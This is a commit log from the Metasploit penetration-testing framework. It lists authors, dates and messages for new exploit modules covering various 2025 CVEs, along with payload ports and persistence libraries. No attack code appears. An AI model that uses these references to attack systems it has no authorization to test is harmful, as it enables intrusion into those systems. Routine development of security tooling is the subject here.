Merge pull request #20457 from adfoster-r7/add-database-ref-opts-for-kerberos-and-pkcs12
...
Add database ref opts for kerberos and pkcs12
2025-08-20 11:25:20 +01:00
Martin Sutovsky
aae5356190
Updates the docs
2025-08-20 12:10:11 +02:00
Martin Sutovsky
da5b20faa4
Creating lib file for shared functionality, adding more reliable check method for CVE-2025-34511, docs init
2025-08-20 10:59:22 +02:00
msutovsky-r7
29a7e4b7a8
Land #20429 , updates communication channels in Metasploit documentation
...
Update communication channels in documentation
2025-08-20 10:17:44 +02:00
Martin Sutovsky
8c28c7dbae
Code changes for 34510, adds module for CVE-2025-34511
2025-08-20 09:58:26 +02:00
Corey
88d7a1ab04
fix coonflicts and rubocop
2025-08-19 12:37:53 -04:00
Corey
df917720eb
Remove payload file
2025-08-19 12:33:56 -04:00
Martin Sutovsky
7ab12460f1
Fixing payloads
2025-08-19 16:11:25 +02:00
Martin Sutovsky
96791403db
Adds malicious zip upload
2025-08-19 09:56:23 +02:00
adfoster-r7
0557d63127
Add database ref opts for kerberos and pkcs12
2025-08-18 15:56:47 +01:00
jenkins-metasploit
7f833ceba5
automatic module_metadata_base.json update
2025-08-18 10:20:18 +00:00
Diego Ledda
be3d77715e
Merge pull request #20382 from Chocapikk/depicter-fix
...
Fix `auxiliary/gather/wp_depicter_sqli_cve_2025_2011`
2025-08-18 12:08:45 +02:00
Vognik
b13f59128c
Added Setup Guide for Windows
2025-08-18 08:20:32 +04:00
jenkins-metasploit
bcc59f1ec7
automatic module_metadata_base.json update
2025-08-16 00:04:52 +00:00
jheysel-r7
0830de8404
Merge pull request #20471 from zeroSteiner/feat/mod/ldap/esc-finder-updates
...
Update the ldap_esc_vulnerable_cert_finder to check enrollment permissions
2025-08-15 16:52:29 -07:00
Jacob Pham
c8f44cfbce
Update docs/metasploit-framework.wiki/Contact.md
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-15 16:53:39 -04:00
Spencer McIntyre
170fbcb2bd
Add two more report filters
2025-08-15 15:34:13 -04:00
Spencer McIntyre
1c41c734f0
Fix a missing ESC16 check
2025-08-15 15:11:52 -04:00
Spencer McIntyre
25c72d4858
Handle some edge cases in report filtering
2025-08-15 14:49:48 -04:00
Spencer McIntyre
f3719b884a
Document the new report filtering option
2025-08-15 11:57:30 -04:00
Spencer McIntyre
c8f72a83c0
Refactor to remove redundant code
2025-08-15 11:57:30 -04:00
Spencer McIntyre
2338ad7c84
Implement the desired filtering
2025-08-15 11:57:30 -04:00
Spencer McIntyre
fa33c84612
Evaluate permissions for templates and CAs
2025-08-15 11:57:30 -04:00
Spencer McIntyre
13b3af325f
Apply the ACEs for Authenticated Users
2025-08-15 11:57:30 -04:00
Martin Sutovsky
52efe8d6de
Module init
2025-08-15 14:37:09 +02:00
cgranleese-r7
c843e36402
Merge pull request #20469 from adfoster-r7/improve-kerberos-file-load-error-messages
...
Improve Kerberos file load error messages
2025-08-15 12:51:52 +01:00
adfoster-r7
bebb43f8f6
Improve kerberos file load error messages
2025-08-15 12:38:45 +01:00
Diego Ledda
487c204b52
Merge pull request #20381 from h00die/persistence_phase_1
...
Persistence libraries/Mixins
2025-08-15 12:40:55 +02:00
Martin Sutovsky
38f81e073f
Fixing documentation, adds more reliable cmd_exec
2025-08-15 07:26:56 +02:00
bwatters-r7
97958cdf33
re-add ESC8 creation guide
2025-08-14 16:42:51 -05:00
Metasploit
996b1d0632
Bump version of framework to 6.4.82
2025-08-14 16:20:34 -05:00
Metasploit
6ef226f43e
Bump version of framework to 6.4.81
2025-08-14 13:39:23 -05:00
Chocapikk
f4e71c1e93
Replace Rank
2025-08-14 16:37:13 +02:00
Chocapikk
3022513652
Add CRASH_SERVICE_DOWN and "`" badchar
2025-08-14 16:16:21 +02:00
Valentin Lobstein
46bbec2470
Update modules/exploits/linux/http/aitemi_m300_time_rce.rb
...
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com >
2025-08-14 16:11:27 +02:00
Valentin Lobstein
bd9c2bf231
Update modules/exploits/linux/http/aitemi_m300_time_rce.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-14 16:01:59 +02:00
jenkins-metasploit
b59fd1c61a
automatic module_metadata_base.json update
2025-08-13 10:07:02 +00:00
Diego Ledda
eb003f704d
Merge pull request #20386 from xHector1337/payload/windows/x64/download_exec
...
Port payload/windows/download_exec to x64
2025-08-13 11:58:22 +02:00
jenkins-metasploit
7ca82b47fb
automatic module_metadata_base.json update
2025-08-12 19:37:04 +00:00
jheysel-r7
8251d89e92
Merge pull request #20400 from msutovsky-r7/exploit/pivotx-rce
...
Adds module for PivotX RCE (CVE-2025-52367)
2025-08-12 12:28:28 -07:00
Jack Heysel
0273f1474f
Added incorrect creds check
2025-08-12 10:42:46 -07:00
jenkins-metasploit
3e882a3767
automatic module_metadata_base.json update
2025-08-12 16:30:43 +00:00
jheysel-r7
e59a24823b
Merge pull request #20387 from h00die-gr3y/wazuh-auth-rce
...
Wazuh Server authenticated RCE [CVE-2025-24016]
2025-08-12 09:22:22 -07:00
jheysel-r7
4200f51fdf
Merge pull request #20445 from zeroSteiner/feat/lib/ldap-adds/2
...
Don't look up the local system SID
2025-08-12 07:59:10 -07:00
jenkins-metasploit
e1407833c2
automatic module_metadata_base.json update
2025-08-12 10:34:11 +00:00
cgranleese-r7
ec7d47c271
Merge pull request #20461 from adfoster-r7/improve-login-summary-for-ldap-scanner
...
Improve login summary for ldap schannel scanner
2025-08-12 11:25:50 +01:00
Diego Ledda
3122426ebe
Update modules/payloads/singles/windows/x64/download_exec.rb
...
update cache size
2025-08-12 11:39:44 +02:00
Umut
abe932cdee
Update payloads_spec.rb
2025-08-12 12:34:47 +03:00
Diego Ledda
b6d9172d5b
chore(rubocop): remove extra white-space
2025-08-12 11:05:21 +02:00
dwelch-r7
9dee394cab
Merge pull request #20463 from adfoster-r7/update-display-module-action-wording
...
Update display module action wording
2025-08-11 17:50:09 +01:00
dwelch-r7
003870e295
Merge pull request #20462 from adfoster-r7/fix-error-in-kerberos-authenticator
...
Fix logging error in kerberos authenticator
2025-08-11 17:49:31 +01:00
adfoster-r7
7c3ba83dd4
Update display module action wording
2025-08-11 17:02:35 +01:00
adfoster-r7
332a55cb4f
Fix error in kerberos authenticator
2025-08-11 16:48:37 +01:00
adfoster-r7
a1630c0b81
Improve login summary for ldap schannel scanner
2025-08-11 16:47:02 +01:00
jenkins-metasploit
3817ed2e70
automatic module_metadata_base.json update
2025-08-11 15:02:00 +00:00
adfoster-r7
2734daec0f
Merge pull request #20459 from adfoster-r7/consolidate-pkcs12-cert-file-reads
...
Consolidate pkcs12 cert file reads
2025-08-11 15:53:38 +01:00
Martin Sutovsky
94bd9eea98
Removes leftover includes
2025-08-11 16:29:16 +02:00
Martin Sutovsky
fbd1c1767f
Finish documentation, adds description and notes
2025-08-11 16:25:56 +02:00
adfoster-r7
ced20bf15a
Consolidate pkcs12 cert file reads
2025-08-11 14:28:47 +01:00
cgranleese-r7
d25fd0825c
Merge pull request #20458 from adfoster-r7/fix-rendering-issue-on-kerberos-docs
...
Fix rendering issue on kerberos docs
2025-08-11 13:10:59 +01:00
Umut
af0fe9e5cc
run rubocop -A
2025-08-11 14:22:28 +03:00
adfoster-r7
093d9f9a99
Fix rendering issue on kerberos docs
2025-08-11 12:13:53 +01:00
msutovsky-r7
b23775124b
Land #20451 , adds support for lwp-request GET fetch adapter
...
Msf::Payload::Adapter::Fetch: Add lwp-request GET fetch adapter
2025-08-11 12:54:41 +02:00
Martin Sutovsky
d219efc0ac
Adds documentation, adds check method
2025-08-11 12:25:33 +02:00
haicen
3dd65e3e1f
Changes uploaded file to .php instead of .phar
2025-08-10 20:52:42 -04:00
RakRak
383ee010f1
Create wordpress_cp_calendar_sqli.md
2025-08-08 21:58:02 -04:00
haicen
bd50485c95
Added modules to exploit Xerte Online Toolkits
2025-08-08 14:12:23 -04:00
Metasploit
b8dad8d85f
Bump version of framework to 6.4.80
2025-08-08 10:16:11 -05:00
Martin Sutovsky
936e68eb2e
Module init
2025-08-08 07:53:56 +02:00
Chocapikk
baacd6f2bf
Update CVE-ID in documentation
2025-08-07 21:54:38 +02:00
Chocapikk
ff4ede95cc
Remove useless headers
2025-08-07 21:53:14 +02:00
Chocapikk
87eb063460
Add unauthenticated RCE on Shenzhen Aitemi M300 MT02 (CVE-2025-34152)
2025-08-07 18:34:49 +02:00
jenkins-metasploit
5e6d442860
automatic module_metadata_base.json update
2025-08-07 13:46:28 +00:00
msutovsky-r7
e8b441a5d3
Land #20012 , MeterpreterOptions break-up and default extension loading removal
...
MeterpreterOptions break-up and default extension loading removal
2025-08-07 15:28:56 +02:00
jenkins-metasploit
6a26428029
automatic module_metadata_base.json update
2025-08-07 06:46:55 +00:00
msutovsky-r7
9caa2be9a2
Land #20399 , adds module for Pandora ITSM authenticated RCE (CVE-2025-4653)
...
Pandora ITSM auth RCE [CVE-2025-4653]
2025-08-07 08:37:45 +02:00
Martin Sutovsky
89d70fe2f8
Clarify build instructions
2025-08-07 08:05:54 +02:00
Martin Sutovsky
8c43583e87
Removes debugging imports
2025-08-07 07:35:17 +02:00
Martin Sutovsky
02c81c57e9
Removes redundant comment
2025-08-07 07:35:17 +02:00
Martin Sutovsky
febb52ea3f
Fixing mkdir issue
2025-08-07 07:35:17 +02:00
Martin Sutovsky
162f73942c
Specifies version in documentation
2025-08-07 07:35:16 +02:00
Martin Sutovsky
e1b8453764
Removing redundant include
2025-08-07 07:35:16 +02:00
Martin Sutovsky
c5c51fe577
Updates comments
2025-08-07 07:35:15 +02:00
Martin Sutovsky
547a0bb7f4
Adds sudo version check using existing functionality
2025-08-07 07:35:15 +02:00
Martin Sutovsky
0a9dda06fb
Addressing comments
2025-08-07 07:35:15 +02:00
Martin Sutovsky
b1acfc1b97
Addressing comments
2025-08-07 07:35:14 +02:00
Martin Sutovsky
caab87096e
Addressing comments, updating docs
2025-08-07 07:35:14 +02:00
Martin Sutovsky
5207f97da1
Addressing comments
2025-08-07 07:35:13 +02:00
Martin Sutovsky
c6e695f5c2
Fixing notes
2025-08-07 07:35:13 +02:00
Martin Sutovsky
cf0f35c8e0
Updating docs
2025-08-07 07:35:13 +02:00
Martin Sutovsky
d8f0f5a0fe
Adding check method, base for documentation
2025-08-07 07:35:12 +02:00
Martin Sutovsky
4c6bfdcfad
Inits module
2025-08-07 07:35:12 +02:00
jenkins-metasploit
41698afa32
automatic module_metadata_base.json update
2025-08-06 19:33:05 +00:00
Brendan
b6dc0860e7
Merge pull request #20409 from sfewer-r7/sharepoint-hax
...
Exploit module for Microsoft SharePoint ToolPane Unauthenticated RCE (CVE-2025-53770 and CVE-2025-53771)
2025-08-06 14:24:28 -05:00
sfewer-r7
0a923a611d
reword the language around our usage of CVE-2025-53770 to make it clear that this module is leveraging the authentication bypass for both CVE-2025-49706 and CVE-2025-53771, and the unsafe deserialization for CVE-2025-49704.
2025-08-06 15:33:57 +01:00
adfoster-r7
00ea22600c
Merge pull request #20454 from adfoster-r7/fix-show-options-crash
...
Fix show options crash
2025-08-06 11:50:09 +01:00
adfoster-r7
c5e342d874
Fix show options crash
2025-08-06 10:26:56 +01:00
h00die-gr3y
70f2cbe055
simplified cleaning procedure
2025-08-06 08:22:06 +00:00
Brendan
2553fed202
Merge pull request #20438 from msutovsky-r7/fix/lib/chmod_in_compile
...
Fixes incorrect path parameter for `chmod` in `upload_and_compile`
2025-08-05 15:12:46 -05:00
cgranleese-r7
f8acc93fdd
Merge pull request #20452 from adfoster-r7/update-download-versions
...
Update download versions
2025-08-05 17:41:40 +01:00
adfoster-r7
9a9028e93d
Update download versions
2025-08-05 17:06:21 +01:00
jenkins-metasploit
74c10a4d4b
automatic module_metadata_base.json update
2025-08-05 13:48:03 +00:00
msutovsky-r7
8914520139
Land #20418 , adds auto selection feature for password crackers
...
Adds auto selection of cracker for password crackers
2025-08-05 15:39:50 +02:00
Spencer McIntyre
6f97dbe239
Merge pull request #20372 from cgranleese-r7/add-cache-validation-logic
...
Adds cache invalidation logic
2025-08-05 09:36:27 -04:00
bcoles
d0f0b3532f
Msf::Payload::Adapter::Fetch: Add lwp-request GET fetch adapter
2025-08-05 22:54:09 +10:00
cgranleese-r7
604fc95bc6
Moves checksum to top level of file cache
2025-08-05 11:40:20 +01:00
cgranleese-r7
aab4142068
Updates to only use local store dir
2025-08-05 11:39:18 +01:00
cgranleese-r7
e9941fd91f
Adds cache invalidation logic
2025-08-05 11:39:18 +01:00
jenkins-metasploit
31b9dcdeb2
automatic module_metadata_base.json update
2025-08-05 07:39:11 +00:00
msutovsky-r7
c99702c8bf
Land #20446 , adds module for ICTBroadcast Unauthenticated RCE (CVE-2025-2611)
...
Add ICTBroadcast Unauthenticated Remote Code Execution (CVE-2025-2611)
2025-08-05 09:29:36 +02:00
Spencer McIntyre
26bf49a024
Merge pull request #20431 from Wopseeion/problem-fi
...
Fix NoMethodError in kerberos/get_ticket by properly decoding ASN.1 OctetString in certificate SAN parsing for ticket reuqest --> "#20427 "
2025-08-04 18:12:05 -04:00
Tanush-Jain
becdda1591
added fixed pkinit file
2025-08-04 17:51:36 -04:00
jenkins-metasploit
cf92cbb3d8
automatic module_metadata_base.json update
2025-08-04 21:36:56 +00:00
Spencer McIntyre
30c32d2643
Merge pull request #20450 from dledda-r7/chore/bump-metasploit_payloads-mettle-1_0_45
...
Bump metasploit_payloads-mettle gem to 1.0.45
2025-08-04 17:28:14 -04:00
jacob.w.pham.mil
0744c70c72
Implement maintainer feedback removed by accident from prior push
...
- Update Twitter references to X in Contact.md and README.md
- Add YouTube channel to Contact.md
- Remove IRC reference from CONTRIBUTING.md as requested
- Address all maintainer suggestions from PR review
2025-08-04 14:50:58 -04:00
jacob.w.pham.mil
c2da23ae1a
Update contact email in Contact.md
...
Replace outdated caitlin_condon@rapid7.com with smcintyre@metasploit.com
as requested by maintainers in PR feedback.
2025-08-04 14:38:59 -04:00
Hakil
c4a2189614
removed blank line as requested
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-04 19:29:25 +02:00
Hakil
f691d81899
prefer john over hashcat for more compatibility
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-04 19:27:54 +02:00
Chocapikk
6ff04da954
Add LPE suggestions in documentation
2025-08-04 18:33:28 +02:00
Chocapikk
a81884fb9e
Update metadata
2025-08-04 17:53:29 +02:00
Chocapikk
7d744c2a45
Update documentation
2025-08-04 17:51:42 +02:00
Chocapikk
2c9053c45e
Refactor fingerprint detection, cookie handling and per-cookie injection
...
- Centralize JS fingerprint checks in `check`
- Memoize `get_valid_cookies` correctly and reuse a single `cookie_jar`
- Update `inject_command` to test payload on each cookie separately
2025-08-04 17:49:34 +02:00
Valentin Lobstein
26099da7a2
Update modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-04 17:03:04 +02:00
Valentin Lobstein
46b3012cda
Update modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-04 17:02:47 +02:00
Valentin Lobstein
a6d86fbe59
Update modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-04 17:02:35 +02:00
Valentin Lobstein
c8f756dd37
Update documentation/modules/exploit/linux/http/ictbroadcast_unauth_cookie.md
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-04 17:02:12 +02:00
dledda-r7
6d60db195b
feat: bump metasploit_payloads-mettle gem to 1.0.45
2025-08-04 10:14:38 -04:00
adfoster-r7
a5b7c9859d
Merge pull request #20448 from cgranleese-r7/bump-rex-powershell-and-rex-random-identifier
...
Bumps rex-powershell and rex-random_identifier gems
2025-08-04 14:55:16 +01:00
Diego Ledda
8985cd773d
Update lib/msf/base/sessions/meterpreter_options/osx.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-04 14:59:20 +02:00
Diego Ledda
25e053804e
Update lib/msf/base/sessions/meterpreter_options/php.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-04 14:59:09 +02:00
Diego Ledda
ee05f88770
Update lib/msf/base/sessions/meterpreter_options/python.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-04 14:59:01 +02:00
Diego Ledda
56fc33f7f2
Update lib/msf/base/sessions/meterpreter_options/windows.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-04 14:58:50 +02:00
Diego Ledda
d45193b7ac
Update lib/msf/base/sessions/meterpreter_options/java.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-04 14:58:25 +02:00
Diego Ledda
fa68bd8353
Update lib/msf/base/sessions/meterpreter_options/bsd.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-04 14:58:16 +02:00
Diego Ledda
2fac43c3ed
Update lib/msf/base/sessions/meterpreter_options/apple_ios.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-04 14:57:59 +02:00
Diego Ledda
9e10d243b9
Update lib/msf/base/sessions/meterpreter_options/android.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-04 14:57:49 +02:00
Diego Ledda
ef6e59dcc3
Update lib/msf/base/sessions/meterpreter_options/linux.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-04 14:57:40 +02:00
cgranleese-r7
02ff2ad000
Bumps rex-powershell and rex-random_identifier
2025-08-04 13:49:53 +01:00
dledda-r7
f18787e5c5
fix: addressing review comments
2025-08-04 08:35:23 -04:00
adfoster-r7
f7930a9977
Merge pull request #20444 from cgranleese-r7/adds-survey-banner-docs-site
...
Adds survey banner to the docs site
2025-08-04 12:20:01 +01:00
cgranleese-r7
5fe57c6804
Adds survey banner to the docs site
2025-08-04 12:19:22 +01:00
jenkins-metasploit
5dd2fef0a9
automatic module_metadata_base.json update
2025-08-04 09:57:20 +00:00
msutovsky-r7
5fd6184494
Land #20423 , adds malicious XDG Desktop fileformat module
...
Add Malicious XDG Desktop File module
2025-08-04 11:44:02 +02:00
bcoles
a7ab23d083
Add Malicious XDG Desktop File module
2025-08-04 19:23:02 +10:00
Diego Ledda
da7ee9d9f8
Update modules/payloads/stages/php/meterpreter.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-08-04 11:19:57 +02:00
Chocapikk
50ef5edd90
Add Unauthenticated ICTBroadcast Remote Code Execution (CVE-2025-2611)
2025-08-02 19:46:14 +02:00
Hakil
3e47e4a08b
Fixed "]}" -> "}]"
2025-08-02 14:18:28 +02:00
Spencer McIntyre
90b60c78ac
Don't look up the local system SID
2025-08-01 17:37:29 -04:00
Martin Sutovsky
cb615899ee
Updates specs
2025-08-01 13:51:25 +02:00
Martin Sutovsky
1c14a9756a
Creates executable_path, uses that in chmod instead of path variable
2025-08-01 12:52:58 +02:00
Martin Sutovsky
ce1d0d1c27
Removes redundant code, unifies fail_with calling, adds advanced option for wait time
2025-08-01 10:51:52 +02:00
msutovsky-r7
8130316de9
Removes unnecessary new line
...
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com >
2025-08-01 10:02:46 +02:00
Martin Sutovsky
c9e0c7171b
Adds cleanup method
2025-08-01 10:01:50 +02:00
Martin Sutovsky
744188fb88
Updates docs
2025-08-01 09:40:08 +02:00
Martin Sutovsky
2328b40df7
Unifies parenthesis in fail_with calling, whitespaces fixes, changing CheckCode::Unknown to CheckCode::Detected
2025-08-01 09:34:47 +02:00
Martin Sutovsky
d081d83aa6
Adds additional functionality for Pretalx
2025-07-31 14:53:49 +02:00
Martin Sutovsky
0d556253d3
Fix
2025-07-31 12:57:14 +02:00
jacob.w.pham.mil
9013316dbd
Update communication channels in documentation
...
- Add GitHub Discussions and Slack as primary support channels
- Update README.md with current communication options
- Update Contact.md with organized channel hierarchy
- Update CONTRIBUTING.md to include GitHub Discussions
- Maintain references to existing IRC and mailing list channels
Addresses #20234
2025-07-30 22:32:53 -04:00
h00die-gr3y
3d0cfd0dfc
update module + documentation based on review comments
2025-07-30 20:24:56 +00:00
Martin Sutovsky
38096c6988
Adding Pretalx functionality, expanding auxiliary module
2025-07-30 15:42:34 +02:00
Hakil
1161954677
correcting a double assignment: tbl = tbl = cracker_results_table
2025-07-30 14:11:06 +02:00
Hakil
18b611f199
correcting a double assignment: tbl = tbl = cracker_results_table
2025-07-30 14:10:49 +02:00
Hakil
dc787b1947
correcting a double assignment: tbl = tbl = cracker_results_table
2025-07-30 14:10:31 +02:00
Hakil
e44f54fda0
correcting a double assignment: tbl = tbl = cracker_results_table
2025-07-30 14:10:03 +02:00
Hakil
2a70b78316
correcting a double assignment: tbl = tbl = cracker_results_table
2025-07-30 14:09:45 +02:00
Hakil
6ccc49523c
correcting a double assignment: tbl = tbl = cracker_results_table
2025-07-30 14:09:13 +02:00
h00die-gr3y
4b52708357
update module + documentation based on review comments
2025-07-30 11:39:20 +00:00
Hakil
6c9f8ef8c9
Merge pull request #1 from msutovsky-r7/collab/feat/auto_cracker_selection
...
Suggests additional changes for PR
2025-07-30 11:55:14 +02:00
Martin Sutovsky
16a5fa2881
Fixing typos
2025-07-30 07:23:50 +02:00
Martin Sutovsky
96ba71b47f
Removes incorrect comment
2025-07-30 07:11:35 +02:00
Martin Sutovsky
d20494d47f
Removes puts
2025-07-30 07:10:22 +02:00
gardnerapp
a0d03c0638
Update modules/exploits/multi/local/periodic_script_persistence.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-07-29 13:20:20 -04:00
gardnerapp
92d246da13
Update documentation/modules/exploit/multi/local/periodic_script_persistence.md
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-07-29 13:20:00 -04:00
gardnerapp
a413e78689
Update modules/exploits/multi/local/periodic_script_persistence.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-07-29 13:19:28 -04:00
gardnerapp
d87787df69
Update modules/exploits/multi/local/periodic_script_persistence.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-07-29 13:18:48 -04:00
Martin Sutovsky
d3f6faa99d
Adjust cracker modules
2025-07-29 17:07:03 +02:00
Martin Sutovsky
cf243b5d5c
Adds auto option support, updates crack_database.rb accordingly
2025-07-29 15:44:48 +02:00
Hakil
f454954b0a
requested change resolved, PR #20418
2025-07-29 14:22:02 +02:00
Hakil
9c03306100
requested change resolved, PR #20418
2025-07-29 14:21:46 +02:00
Hakil
c38cc4444f
Update crack_osx.rb
2025-07-29 14:21:20 +02:00
Hakil
99ac3691f6
requested change resolved, PR #20418
2025-07-29 14:21:00 +02:00
Hakil
424e4fbd48
Update crack_databases.rb
2025-07-29 14:20:34 +02:00
Hakil
87d7decdca
requested change resolved, PR #20418
2025-07-29 14:20:09 +02:00
Hakil
4b4e7cc58b
requested change resolved, PR #20418
2025-07-29 14:02:30 +02:00
Martin Sutovsky
b276c50115
Making Pretalx functionality more robust
2025-07-28 10:53:24 +02:00
h00die
dcde8d1580
adjust spaces and review comments for persistence lib
2025-07-27 19:07:39 -04:00
h00die
4ec8a0e356
fix linux user spec
2025-07-27 18:50:23 -04:00
Martin Sutovsky
d26589796a
Updates docs, code refactor
2025-07-27 12:42:11 +02:00
Hakil
ecfdec9678
Fix issue #20396
2025-07-26 18:36:14 +02:00
Hakil
d48419160b
Fix issue #20396
2025-07-26 18:35:47 +02:00
Hakil
06c17a6e77
Update crack_webapps.rb
2025-07-26 18:35:21 +02:00
Hakil
d88c4bde88
Fix issue #20396
2025-07-26 18:34:54 +02:00
Hakil
5aee8d5d42
Fix issue #20396
2025-07-26 18:34:12 +02:00
Hakil
bd3ce5f20e
Fix issue #20396
2025-07-26 18:33:20 +02:00
Hakil
56f138c4a1
Fix issue #20396
2025-07-26 18:31:43 +02:00
Hakil
7450d728c1
Fix issue #20396
2025-07-26 18:26:29 +02:00
Vognik
8024900171
fix tests
2025-07-26 03:15:00 +04:00
Martin Sutovsky
4844a29a1f
Documentation base
2025-07-25 20:19:47 +02:00
Martin Sutovsky
1a668a8964
Adding checks
2025-07-25 16:57:11 +02:00
sfewer-r7
3237151512
add in the documentation
2025-07-25 14:40:12 +01:00
Martin Sutovsky
fa41ed5876
Code refactoring
2025-07-25 15:33:29 +02:00
Martin Sutovsky
edfa84ed42
Uses Rex::MIME::Message instead of manual form-data
2025-07-25 14:24:42 +02:00
sfewer-r7
228a066521
add a reference to the Kaspersky analysis which covers all 4 CVEs
2025-07-25 12:26:55 +01:00
Martin Sutovsky
73aa43e069
Adds Rex::MIME::Message instead of manual form-data generating
2025-07-25 13:02:44 +02:00
sfewer-r7
36fff14466
fix a comment typo
2025-07-25 11:04:18 +01:00
sfewer-r7
f16f7bf2ad
add in reference to teh LeakIX blog, which shows CVE-2025-53771
2025-07-25 11:02:55 +01:00
sfewer-r7
ae95d3d4e8
add a comment to clarify what CVE-2025-53771 is
2025-07-25 11:02:08 +01:00
sfewer-r7
8df7f64e79
add some comments to clarify what CVE-2025-49704 is
2025-07-25 11:01:41 +01:00
sfewer-r7
6d9d9a70d4
add some comments to clarify what CVE-2025-49706 is
2025-07-25 11:01:22 +01:00
Maksim Rogov
9696cc57db
Merge branch 'rapid7:master' into CVE-2025-34300
2025-07-25 11:02:03 +04:00
Vognik
82eadede83
Code Review Edits from @sjanusz-r7
2025-07-25 05:17:48 +04:00
sfewer-r7
a81710486e
add in a reference to the new technical analysis from the origional finder
2025-07-24 12:15:24 +01:00
Martin Sutovsky
54c86cfc10
Addressing comments
2025-07-24 12:19:47 +02:00
Maksim Rogov
6e5d474b21
Apply suggestion from @jheysel-r7 in Docs
...
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com >
2025-07-24 06:23:01 +03:00
Vognik
38b0bd15e1
Code Review Edits
2025-07-24 07:19:25 +04:00
Stephen Fewer
899e275155
Make the double quotes optional, reports of Server 2016 not using these, but Server 2019 is. Thanks @w0rk3r for the bug report and fix.
...
Co-authored-by: Jonhnathan <26856693+w0rk3r@users.noreply.github.com >
2025-07-23 23:51:42 +01:00
sfewer-r7
b8cf458706
the check routine was getting the /_layouts/15/error.aspx page, this will not be accessable unless Forms Based Authentication (FBA) is enabled on the site. A better choice is /_layouts/15/start.aspx as this is accessible regardless of FBA being enabled. Thanks @alexey-at-work-bc for identifying this and sugesting a fix.
2025-07-23 23:03:43 +01:00
sfewer-r7
7838e06f4f
reimplement the gadget chain using the Metasploit Msf::Util::DotNetDeserialization routines
2025-07-23 17:36:56 +01:00
bwatters-r7
dcfa448cf8
Remove now unused timeout
2025-07-23 10:40:24 -05:00
bwatters-r7
07692ff241
Remove errant write_log call and swap to the all-in-one psh_exec rather than execute_script
2025-07-23 09:40:35 -05:00
sfewer-r7
d2a1f7bae9
add in exploit for CVE-2025-53770 and CVE-2025-53771, Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell)
2025-07-23 12:40:14 +01:00
Vognik
e93755adc6
Added WritableDir Option
2025-07-23 11:59:48 +04:00
Martin Sutovsky
75f6e6a748
Refactors code, adds description, fixes CVE
2025-07-22 16:24:35 +02:00
Martin Sutovsky
4708a25dfa
Module init
2025-07-22 11:11:19 +02:00
Vognik
d62ef448f1
Code Review Edits
2025-07-22 04:40:14 +04:00
Vognik
1c1b574b81
Removed Debug Print
2025-07-21 21:37:52 +04:00
Vognik
d57a36413d
Fix Tests
2025-07-21 21:34:41 +04:00
Vognik
6276b27dfc
Improved Exploit Stability on Windows
2025-07-21 21:34:01 +04:00
Martin Sutovsky
ed5c13330f
Module init
2025-07-21 12:41:38 +02:00
Maksim Rogov
85e97aaaf5
Fix STUDYNAME empty check
2025-07-21 13:14:19 +03:00
Vognik
e90396a15f
Execute Method Refactoring
2025-07-21 13:59:43 +04:00
Vognik
c06a7c477b
Check Method Refactoring
2025-07-21 13:06:51 +04:00
Vognik
45a6176a9c
Removed Limits
2025-07-21 11:03:24 +04:00
Vognik
6bf385e17a
Removed dublicate logging bug
2025-07-21 03:20:34 +04:00
Vognik
a836c9bc5e
Fixed CVE Format
2025-07-21 03:17:57 +04:00
Vognik
75e1158457
Fixed docs formatting
2025-07-21 03:16:40 +04:00
h00die-gr3y
58704e9eab
init module + documentation
2025-07-20 19:06:01 +00:00
Vognik
e7667d406a
Add Lighthouse Studio unauthenticated RCE (CVE-2025-34300)
2025-07-20 15:23:38 +04:00
Valentin Lobstein
e42af1843b
Lint
2025-07-19 03:22:12 +01:00
Valentin Lobstein
2bb2bbc5bd
Update wp_depicter_sqli_cve_2025_2011.rb
2025-07-19 04:07:22 +02:00
h00die-gr3y
abbcdda694
update based on adfoster-r7 comments
2025-07-18 07:22:01 +00:00
Umut
708dcaf36e
Delete unnecessary comments
2025-07-17 15:28:20 +03:00
Umut
90d15cbe61
finalize the payload
...
add CachedSize & fix the fifth arg problem & run rubocop
2025-07-17 11:39:44 +03:00
Chocapikk
ac62c42be8
chore(wp_depicter): remove unused Actions block
2025-07-16 22:20:31 +02:00
h00die-gr3y
7a9cd79170
small update on the documentation
2025-07-16 09:32:47 +00:00
h00die-gr3y
639315452c
added attackerkb reference + documenttaion
2025-07-16 09:29:14 +00:00
Umut
0344591863
fix 5th arg for URLDownloadToFileA
2025-07-16 11:35:35 +03:00
h00die
71d0d037b5
